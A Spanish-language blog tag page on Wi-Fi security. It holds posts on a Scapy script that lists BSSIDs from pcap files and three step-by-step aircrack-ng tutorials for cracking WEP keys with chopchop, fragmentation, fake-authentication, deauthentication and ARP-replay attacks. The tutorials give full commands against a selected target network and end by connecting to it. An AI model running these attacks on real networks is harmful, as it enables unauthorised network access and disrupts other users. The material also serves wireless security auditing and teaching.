Mostrando entradas con la etiqueta wifi. Mostrar todas las entradas
Mostrando entradas con la etiqueta wifi. Mostrar todas las entradas

10 de febrero de 2012

Python script: BssidFromPcap.py paso a paso

En este post quiero explicar paso a paso como crear un script en Python que nos guarde en un archivo de texto las direcciones MAC de los APs disponibles en un archivo de captura PCAP. En este enlace puedes encontrar una pequeña explicación del mismo así como el código fuente del script final.

Versión 0.0

Dado que vamos a utilizar Scapy para manipular los paquetes de red, en primer lugar deberemos importar todos los métodos que ésta libreria nos permite.
from scapy.all import *
Creamos el objeto outfile, con el que creamos y abrimos el archivo de salida para los datos.
outfile = open('./Out.lst', 'w')
Especificamos el archivo de captura, en este caso hardcodeado, y creamos un nuevo objeto (capture) con el método rdpcap para leer el archivo de captura.
capfile = '../out-01.cap' # Change this!
capture = rdpcap(capfile)
Python es un lenguaje altamente secuencial, por lo que un simple for nor permite iterar fácilmente entre los distintos paquetes que contiene nuestro objeto capture.
for pcks in caputre:
   [...]
Hay que tener muy encuenta la identación, tabulaciónes, pues es un factor clave dentro del lenguaje y nos delimita las clases, funciones, estructuras de control, etc. dentro de nuestro código.

En una primera versión, vamos a registrar todas las direcciones físicas de los paquetes capturados en un nuevo objeto llamado bssid.
bssid = pcks.addr2
Realizamos un filtro para direcciones nulas, 00:00:00:00:00:00, a través del objeto blank para pasar a la siguiente iteración.
blank = '00:' * 5 + '00'
if bssid == blank:
    continue
En caso contrario, escribimos la MAC en el archivo de salida, outfile.
outfile.write(bssid + "\n")
Para finalizar, cerramos el archivo de salida.
outfile.close()
El código de esta primera versión sería:
#!/usr/bin/env python

from scapy.all import *

outfile = open('./Out.lst', 'w')
capfile = '../out-01.cap' # Change this!
capture = rdpcap(capfile)
blank = '00:' * 5 + '00'

for pcks in capture:

  bssid = pcks.addr2
  
  if bssid == blank:
    continue
  else:
    outfile.write(bssid + "\n")

outfile.close()
Y una primera prueba del mismo


Versión 0.1

Para mejorar el código anterior, vamos a eliminar los resultados repetidos. Para ello utilizamos un nuevo array, unique, con el que comprobar la existencia del objeto bssid. En caso incorrecto, añadimos dicho valor al array y lo escribimos al archivo de salida.
else:
  unique = []
  if unique.count(bssid) == 0:
    unique.append(bssid)
Si utilizamos el mismo archivo de captura obtenemos el siguiente resultado


Versión 0.2

Una mejora indispensable, es que podamos elegir el archivo de captura a analizar. Para ello deberemos importar el módulo sys que nos permite usar el método argv para acceder a los argumentos del script.
import sys

capfile = sys.argv[1]
Para finalizar, únicamente vamos a analizar los paquetes beacon frame exitentes en los archivos de captura y en caso contrario pasaremos al siguiente paquete.
if pcks.haslayer(Dot11Beacon):
  [...]
else:
  continue
El código final, sin comentar, es el siguiente. Para una versión completa del mismo, visita el siguiente enlace.
import sys
from scapy.all import *

outfile = open('./Out.lst', 'w')
capfile = sys.argv[1]
capture = rdpcap(capfile)
blank = '00:' * 5 + '00'
unique = []

for pcks in capture:

  if pcks.haslayer(Dot11Beacon):
    bssid = pcks.addr2
  
    if bssid == blank:
      continue
    else:
      if unique.count(bssid) == 0:
        unique.append(bssid)
        outfile.write(bssid + "\n")

  else:
    continue

outfile.close()
Realizando algunas pruebas

Utilizando el mismo archivo de captura, obtenemos el siguiente resultado.


Con otro archivo de captura


Si realizamos una captura de varios APs y lanzamos el script al archivo de captura, podemos comprobar que genera una lista con BSSIDs únicos presentes en la red.


Un saludo, Brixton Cat ; )

24 de enero de 2012

Python Script: BssidFromPcap.py

BssidFromPcap.py

En esta entrada se presenta el código fuente del script BssidFromPcap.py desarrollado para obtener un listado de BSSIDs únicos contenidos en un archivo de captura PCAP que será pasado como argumento al script.

Sintaxis: ./BssidFromPcap.py archivo.pcap

Es necesario especificarle un archivo de captura PCAP como primer argumento del script donde leerá los paquetes secuencialmente para obtener la dirección MAC origen de los paquetes Beacon Frames que existan. El script no comprueba la existencia del fichero y tampoco existen un control de errores, try y execption, etc...

Código fuente:
#!/usr/bin/env python
#
# Name: BssidFromPcap.py
# Decription: List unique BSSIDs from pcap capture file.
# Date: 23 Jan 2012
# Author: Brixton Cat
# Version: 0.2
#

### Import modules

import sys
from scapy.all import *

### Declare variables and constants

# Open output file
outfile = open('./Out.txt', 'w')
# Obtain pcap capture file from first arguments
capfile = sys.argv[1]
# Open pcap capture file with scapy
capture = rdpcap(capfile)
# Filter for blank MAC address: 00:00:00:00:00:00
blank = '00:' * 5 + '00'
# Blank array for unique bssids
unique = []

### Script

# Read pcap capture file
for pcks in capture:

  # If pcks is Dot11 (802.11) package
  if pcks.haslayer(Dot11Beacon):
    # Obtain MAC address from package
    bssid = pcks.addr2
  
    # If bssid is blank go to next iteration
    if bssid == blank:
      continue
   
    # Check if exist bssid in unique array and append it
    else:
      if unique.count(bssid) == 0:
        unique.append(bssid)
        # Write bssid in outfile
        outfile.write(bssid + "\n")
 
  # Else go to next iteration
  else:
    continue

# Close output file
outfile.close()

#EOF
##FVE
En esta entrada puedes ver más información sobre el mismo así como unas imágenes con algunas pruebas realizadas.

Un saludo, Brixton Cat ; )

Python Script: Obteniendo BSSIDs de un archivo pcap

Buenas a tod@s! Se que tengo varias series por terminar, como configurar el servidor MySQL y el CMS Drupal para nuestro cluster web de alta disponibilidad o la instalación de la red VoIP utilizando Cisco Call Manager Express de nuestra simulación de una red corporativa. Pero en el primer caso haciendo pruebas me carge la configuración de DRBD y en el segundo caso tengo que tomar las capturas para escribirlo. Todo a su tiempo, todo a su tiempo...

De todas maneras, no solo de administración podemos vivir y la programación es una tarea fundamental para cualquier geek/freak/nerd/hacker/hack0r, o como mejor querais llamaros... Aprovechando que hace poco he terminado el curso Introduction to PenTest Scripting impartido por Roberto Martinez, gran maestro y persona, que ha montado un programa de cursos de lo más interesante utilizando webinars para crear clases virtuales a través de Internet y una posible futura aula virtal donde se añadirá la modalidad E-learning.

http://commons.wikimedia.org/
Volviendo con la entrada... El script nos va a generar un archivo lista con BSSIDs únicos presentes en un archivo de captura PCAP que le pasaremos como argumento. Voy a hacer uso del modulo Scapy para Python que se incluye en la instalación de BackTrack 5, pero si es necesario añadirlo a vuestras librerias lo podeis encontrar en la Web del desarrollo.

En esta entrada voy a resumir los pasos fundamentales del script y las pruebas realizadas, podeis encontrar el código completo en la siguiente entrada (BssidFromPcap.py) y una descripción del proceso de creación para los novatos como yo (aqui).

Explicación

En primer lugar declaramos algunas variables y objetos que serán utilizados a lo largo del script, en este paso especificamos el archivo de captura y de salida al igual que los abrimos para asociarlos a sus respectivos objetos.
# Open output file
outfile = open('./Out.lst', 'w')
# Obtain pcap capture file from first arguments
capfile = sys.argv[1]
# Open pcap capture file with scapy
capture = rdpcap(capfile)
# Filter for blank MAC address: 00:00:00:00:00:00
blank = '00:' * 5 + '00'
# Blank array for unique bssids
unique = []
Recorremos el archivo de captura para comprobar que el paquete se trata de un  Beacon Frame (Dot11Beacon) del que obtenemos la dirección física origen, BSSID, y comprobamos que no es un valor nulo: 00:00:00:00:00:00.
# Read pcap capture file
for pcks in capture:

  # If pcks is Dot11 (802.11) package
  if pcks.haslayer(Dot11Beacon):
    # Obtain MAC address from package
    bssid = pcks.addr2
  
    # If bssid is blank go to next iteration
    if bssid == blank:
      continue
La explicación que he encontrado sobre esta dirección (1)(2)(3), es que se utiliza como dirección destino en algunos ARP Request y en paquetes ARP Gratuitous, pero en las capturas aparecen valores nulos como origen de algunos paquetes. En los paquetes Beacon no he encontrado ninguno pero manteniendo el filtro nos aseguramos que se obvien en caso que se cuele alguno.


Si no existe el BSSID en el array unique, se añade a la lista y se escribe en el archivo de salida. En caso que el condicional sea falso, no guardará el BSSID en el array ni en el archivo de salida asegurando así que no se repiten resultados.
    # Check if exist bssid in unique array and append it
    else:
      if unique.count(bssid) == 0:
        unique.append(bssid)
        # Write bssid in outfile
        outfile.write(bssid + "\n")
Para finalizar cerramos el archivo de salida antes de salir del script.
# Close output file
outfile.close()
Pruebas

Auditando una red

Este es el archivo con el que estuve realizando la creación del script, corresponde con una captura realizada con airodump-ng sobre un AP específico en el que hay conectado un cliente. En entradas posteriores intentaré detallar la creación del script donde se entenderá mejor.


Auditando varias redes

Este otro caso, correponde con una captura realizada también con airodump-ng pero sin filtrar por una red concreta. Obtendremos múltiples direcciones MAC que serán filtradas para evitar duplicados en el archivo de salida. Igualmente, en la explicación detallada se verá más en detalle este proceso y el resultado.


Comentario final

Ya para finalizar, solo quiero decir que el script ya estaba inventado... Para crearlo me he basado en información de blogs y páginas de Internet (4)(5) y únicamente lo he ordenado a mi manera así como he personalizado las variables y nombres de los objetos.

La realización del script me ha resultado francamente simple dada la posibilidad que nos brinda Scapy para utilizar su nomenclatura y métodos, que junto a la facilidad de escriptura de Python nos permite crear herramientas complejas y altamente potentes. Sobra decir que esto solo es un pequeño programa que puede ser utilizado en un script más complejo o con más opciones a través de funciones, clases, etc.

En los enlaces anteriores podeis encontrar explicaciones en las que me he basado así como ejemplos y métodos de Python que podemos aplicar en nuestros desarrollos. Yo tengo alguna que otra idea en mente, aunque solo sea por enreadar y aprender el lenguaje...

Enlaces de referencia

1 - http://wiki.wireshark.org/Gratuitous_ARP
2 - http://cauew.blogspot.com/2008/08/arp-rarp-proxy-arp-gratuitous-arp-and.html
3 - http://www.certforums.co.uk/forums/networks/43139-help-wireshark-newbie.html
4 - http://www.packetstan.com/2011/03/extracting-ap-names-from-packet.html
5 - http://www.devx.com/security/Article/34741/1954

Un saludo, Brixton Cat.

19 de noviembre de 2010

Suite Aircrack-ng: Chopchop

Continuando con la serie Suite Aircrack-ng, en esta entrada voy a describir el ataque Chopchop desarrollado por Korec para descifrar el algoritmo WEP. Al igual que en el ataque de fragmentación, con este ataque obtendremos el PRGA generado con la clave y lo utilizaremos para crear un paquete ARP que injectaremos después.

Introducción
Saltando un poco la teoría del algoritmo WEP, trataré de explicar brevemente este ataque y los usos que podemos darles. Chopchop se basa en la adivinación del Integrity Check Value (ICV) utilizando una relación matemática exitente entre los paquetes cifrado y el código con el que verificar su integridad.


Esto se consigue truncando la información de un paquete cifrado con la clave compartida WEP y eliminándo el último byte. Este último, se sustituye por un valor conocido (00, 01... 255, 256) y se envia al Access Point para que compruebe su integridad. Debido a los pocos valores a probar, en pocos minutos encontramos un paquete que es tomado como válido y lo utilizamos para obtener el keystream de la conexión.

Ataque Chopchop
Como siempre, lo primero que debemos hacer es poner en modo monitor la tarjeta wireless que vamos a utilizar.


Arrancamos Airodump para ver las redes que tenemos disponibles con el comando:

airodump-ng --encrypt WEP -a mon0

Explicación:
--encrypt WEP. Filtramos las redes WEP
-a. Filtramos los clientes no conectados
mon0. Interfaz wireless


Una vez seleccionamos la red objetivo, volvemos a lanzar el comando anterior para filtrar el tráfico que nos interesa

airodump-ng -w out --bssid E0:91:53:... -c 6 mon0

Explicación:
-w out. Archivo de captura
--bssid E0:91:53:.... BSSID del AP
-c 6. Canal que utiliza la red
mon0. Interfaz


Ahora lanzamos el ataque Chochop con el comando:

aireplay-ng --chopchop -b E0:91:53:... -h 00:26:82:... mon0

Explicación:
--chopchop. Ataque Chopchop
-b E0:91:53:.... Dirección física del AP
-h 00:26:82:.... Dirección MAC del clietne
mon0. Interfaz utilizada


Una vez encontramos un paquete que el AP toma como válido, éste es utilizado para obtener el PRGA de la conexión


Ahora forjamos una petición ARP Request con packetforje-ng que utilizaremos para injectarlo en un ataque ARP replay. Aunque en la documentación sobre Chopchop utilizan tcpdump para obtener la dirección IP destino, yo utilizo una dirección de broadcast genérica que será aceptada por todos los routers.

packetforje-ng --arp \
                       -a E0:91:53:... \
                       -h  00:26:82:... \
                       -k 255.255.255.255 \
                       -l 255.255.255.255 \
                       -y replay_dec-1107-231548.xor \
                       -w salida

Explicación:
--arp. Tipo de paquete a forjar
-a E0:91:53:.... Dirección MAC del AP
-h 00:26:82:.... Dirección física del cliente
-k 255.255.255.255. Dirección IP origen
-l 255.255.255.255. Dirección IP destino
-y replay_dec-1107-231548.xor. Paquete con el PRGA
-w salida. Paquete de salida


Ahora solamente reinjectamos el paquete que acabamos de crear con el comando

aireplay-ng --arpreplay -r salida -x 600 -b E0:91:53:... -h 00:26:82:... mon0

Explicación:
--arpreplay. Ataque ARP replay
-r salida. Nombre del archivo de origen
-x 600. Número de paquetes a enviar
-b E0:91:53:.... BSSID del AP
-h 00:26:82:.... Dirección MAC del cliente
mon0. Interfaz


Nuevamente, a los pocos minutos obtenemos la cantidad de paquetes necesarios para descifrar la clave WEP


Pasamos el craqueador con el comando

aircrack-ng out-01.cap


Ahora como siempre, pasamos a comprobar que la clave es correcta y que tenemos conexión con Internet. Lo primero, desactivar el modo monitor


Configuramos nuestra tarjeta con los datos de la red


Y lanzamos la petición DHCP para obtener una dirección IP válida para la red


Por último, actualizo la lista de paquetes para comprobar que tengo conexión al exterior


Importante
Esta documentación se expone a título informativo, en ningún caso el autor se hace responsable de los usos que los lectores hagan de ella o de las consecuencias a terceros que estos provequen.

Enlaces de referencia
http://www.aircrack-ng.org/doku.php?id=es:korek_chopchop
http://www.aircrack-ng.org/doku.php?id=chopchoptheory
http://www.netstumbler.org/f50/chopchop-experimental-wep-attacks-12489/ 
http://www.wve.org/entries/show/213
Byte-Sized Decryption of WEP with Chopchop (I y II)

Un saludo, Brixton Cat.

10 de noviembre de 2010

Suite Aircrack-ng: Fragmentación

Continuando con la entrada anterior Suite Aircrack-ng, y aprovechando nuestra memoria USB cifrada, vamos a seguir describiendo las opciones que tenemos con dicha herramienta. Si recordamos un poco la entrada anterior, realizamos un ataque de reenvio de ARPs. Esto consiste en la injección de dichos paquetes una vez obtenedino un paquete ARP válido para capturar la cantidad de IVs suficientes para descifrar la clave estadístacamente.

Introduccion
Recordando un poco la teoría sobre el algoritmo WEP, debido a la cantidad de bits que componen los vectores de inicicación somos capaces de obtener la secuencia aleatoria de números generados a través de dicho IV y la clave compartida.


Dicha semilla (vector de iniciación) se utiliza junto con la clave compartida para generar el PRGA, a través de RC4, al cual se pasará XOR para cifrar el texto plano con la comprobación CRC32. Simplificando en la siguiente función cryptográfica:


El ataque de fragmentación consiste en localizar un paquete con un pedazo de la clave compartida y utilizarlo con la secuencia conocida de IVs para obtener los 1500 bits del PRGA enviando paquetes ARPs o LLCs fragmentados hasta completar el proceso. El keystream obtenido se guarda en un archivo .xor que podremos utilizar posteriormente.

Ataque Fragment:
Lo primero que debemos hacer es asegurarnos que el NIC wireless está reconocido por el sistema y crear la interfaz en modo monitor que utilizaremos durante el proceso.


Realizamos un escaneo para ver las redes que tenemos accesibles:

airodump-ng --encrypt wep -a mon0

explicación:
--encrypt wep. Filtramos por el tipo de cifrado
-a. Filtramos los clientes no asociados
mon0. Interfaz


Una vez seleccionada la red objetivo, nuevamente ejecutamos el comando aplicando los filtros con los que registrar el tráfico de dicha red. Esto lo conseguimos con:

airodump-ng -w out --bssid 00:13:F7:... -c 7 mon0

explicación:
-w out. Archivo de salida
--bssid 00:13:F7:... La dirección física del AP
-c 7. Canal que utiliza la red
mon0. Interfaz


Ahora pasamos a realizar una falsa autentificación con el comando:

aireplay-ng --fakeauth 10 -a 00:13:F7:... -h 00:11:22:33:44:55 mon0

explicación:
--fakeauth 10. Ataque de falsa asociación
-a 00:13:F7:.... BSSID del AP
-h 00:11:22:33:44:55. MAC del cliente
mon0. Interfaz

Podemos comprobar que el ataque es satisfactorio si aparece el smiley ":-)"


Realizamos el ataque de fragmentación:

aireplay-ng --fragment -b 00:13:F7:... -h 00:11:22:33:44:55 mon0

explicación:
--fragment. Ataque de fragmentación
-b 00:13:F7:.... Dirección MAC del AP
-h 00:11:22:33:44:55. Dirección física del cliente falso
mon0. Interfaz


Empezará a leer los paquetes en busca de un pedazo de clave para formar un paquete ARP o LLC que será fragmentado y enviado al AP hasta que consigamos el keystream de la conexión.


Si todo ha ido bien, dicho proceso nos generará un archivo xor que utilizaremos con packetforge-ng para crear el paquete ARP que injectaremos posteriormente utilizando el ataque ARP-Request.

packetforge-ng --arp -a 00:13:F7:... -h 00:11:22:33:44:55 -k 255.255.255.255. -l 255.255.255.255 -y fragment-1101-153100.xor -w salida

Explicación:
--arp. Tipo de paquete a formar
-a 00:13:F7:.... BSSID de la conexión
-h 00:11:22:33:44:55. Dirección MAC del cliente falso
-k 255.255.255.255. Dirección IP destino*
-l 255.255.255.255. Dirección IP origen*
-y fragment-1101-153100.xor. Paquete con el keystream
-w salida. Nombre del archivo de salida
* Utilizamos una dirección IP broadcast. Por defecto, Aireplay-ng utiliza dicha dirección, tanto origen como destino, en el caso que no sea especificada.


Y lo enviaremos al AP utilizando la replicación ARP con el comando:

aireplay-ng --arpreplay -r salida -x 600 -b 00:13:F7: -h 00:11:22:33:44:55 mon0

Explicación:
--arpreplay. Ataque replicación ARP
-r salida. Archivo de origen
-x 600. Número de paquetes a injectar
-b 00:13:F7:.... BSSID de la red
-h 00:11:22:33:44:55. MAC del cliente falso
mon0. Interfaz


Al final de la salida del comando podemos observar los paquetes que han sido leidos, la cantidad de paquetes ARPs y ACKs, los paquetes enviados y los paquetes por segundo (pps) que se injectan.

En la captura de Airodump podemos comprobar los paquetes que están siendo injectados, los paquetes con IVs capturados y el resto de datos tanto del AP como del cliente.


A los pocos minutos hemos capturado la cantidad suficiente de paquetes para obtener la clave casi sin pestañear....


En la captura anterior podemos observar varias cosas interesantes... El tiempo que ha tardado, las claves probadas, el número de IVs, la clave en hexadecimal y ASCII y el porcentaje de fiabilidad del proceso.

Ahora pasamos a comprobar que la contraseña obtenida es correcta y que tenemos conexión. Primero desactivamos el modo monitor de la tarjeta Wifi



Realizamos la configuración con los datos de la red y realizamos la petición DHCP al servidor



Por último actualizamos la lista de paquetes para comprobar que hay conexión con Internet.


Importante:
La información mostrada en este tutorial describe, a modo de información, técnicas actuales para poner en entredicho la seguridad de las conexiones Wireless. El autor no se hace responsable del uso que pueda darse a dicha información ni de las consecuencias que los lectores puedan provocar a terceras personas.

Enlaces de referencia:
http://www.aircrack-ng.org/doku.php?id=es:fragmentation
http://darkircop.org/bittau-wep.pdf

Un saludo, Brixton Cat.

4 de noviembre de 2010

Suite Aircrack-ng

En esta entrada voy a describir la mejor herramienta para auditorias Wireless actualmente conocida: la suite Aircrack-ng. Lo primero que hay que hacer siempre es informarse un poco sobre la tegnología y las posibilidades que se abren a nuestro camino con este tipo de herramienta. En este caso, vamos a realizar un pequeño estudio de la suite Aircrack-ng y de las posibilidades que esta nos ofrece ejecutando un pequeño ejemplo con el que demostrar la inseguridad de las redes Wifi actuales.

Introducción:
Wireless es la tegnología inalámbrica actualmente utilizada para crear redes locales no cableadas (Wireless LAN), utilizando para compenetrar las redes cableadas con las redes Wifi un Access Point que hará de pasarela entre una red y la otra. Para dotar de seguridad a dicha conexión, en 1999 nace WEP (Wired Equivalent Privacy) con el que cifrar dichas conexiónes a través del algoritmo RC4 y comprobando su integridad a través de un hash CRC32.


WEP implementa dos tipos de claves atendiendo a la cantidad de bits utilizados en cada una: WEP-40 y WEP-104; con los que generar claves de 64 bits y de 128 bits utilizandose un vector de iniciación de 24 bits. Dicho IV se utiliza para cifrar un mensaje a través de una operación XOR con la secuencia de números aleatorios generados por RC4 y debido al bajo número de bits que lo componen, el IV llega a repetirse siendo capaces de obtener el PRGA de dicha conexión.

Ataque ARP Replay:
En este caso, vamos a realizar un ataque de reenvio de ARP a un cliente asociado en el AP. Vamos a desauntentificar (para acelerar el proceso) al cliente conectado mientras estamos capturando el tráfico en busca de un paquete ARP. Una vez conseguimos dicho paquete, lo utilizaremos para enviar al AP peticiones ARP REQUEST que serán respondidos con el mismo ARP REPLY y un nuevo IV. Tras unos minutos, tenemos la cantidad suficiente de paquetes para desencryptar la clave.

Lo primero que tenemos que hacer es comprobar que nuestra tarjeta está reconocida por el sistema y la ponemos en modo monitor.


Y realizamos un escaneo de las redes que tenemos accesible con el comando

airodump-ng mon0


Seleccionamos la red objetivo y volvemos a lanzar el comando con los filtros siguientes para registrar todo el tráfico de dicha conexión:

airodump-ng -w out --bssid 00:03:C9:... -c 11 mon0

explicacion:
-w out. Nombre del archivo de salida
--bssid 00:03:C9:.... BSSID de la red wireless
-c 11. Canal de la conexión.
mon0. Interfaz


Ahora lanzamos el comando Aireplay-ng con el que ejecutar la reinyección de ARPs utilizando la MAC del cliente asociado hasta encontrar un paquete ARP que utilizaremos para la reinyección.

aireplay-ng --arpreplay -b 00:03:C9:... -h 00:1D:1A:... mon0

explicación:
--arpreplay. Ataque de replicación ARPs
-b 00:03:C9:.... Dirección física del AP
-h 00:1D:1A:.... Dirección MAC del cliente
mon0. Interfaz


Realizamos unos ataques de desautentificación al cliente que tenemos conectado para forzar su reconexión agilizando así el proceso para la obtención del paquete ARP.

aireplay-ng --deauth 5 -a 00:03:C9:... -c 00:1D:1A:... mon0

explicación:
--deauth 5. Ataque de desautentificación
-a 00:03:C9:.... Dirección física del AP
-c 00:1D:1A:.... Dirección MAC del clietne
mon0. Interfaz


En la captura anterior se observan que se han lanzado el comando varias veces con un total de 11 solicitudes de desasociación. Podemos comprobar en la captura de airodump, como aumentan los IVs capturados asi como de los paquetes que inyectamos al AP.


Podmos ver también en la captura anterior, que en cuatro minutos hemos conseguido más de 25.000 Datas que son más que suficientes para lanzar el craqueador con el comando:

aircrack-ng out-01.cap


Ahora pasamos a comprobar que la clave obtenida es la correcta. Para ello, primero desactivamos al interfaz monitor que hemos estado utilizando.


Configuramos la interfaz wireless con los comandos:


Realizamos la petición al servidor de direcciones


Y comprobamos que tenemos conexión con el AP aunque como se puede observar hay perdida de paquetes :(


Importante:
 El autor solamente trata de describir las actuales conexiones wireless y una herramienta, de las varias que existen, para auditar dichas redes. En cualquier caso, el autor proporciona esta información a título educativo y no se responsabiliza de las consecuencias que los lectores puedan ocasionar a terceras personas.

Un saludo, Brixton Cat.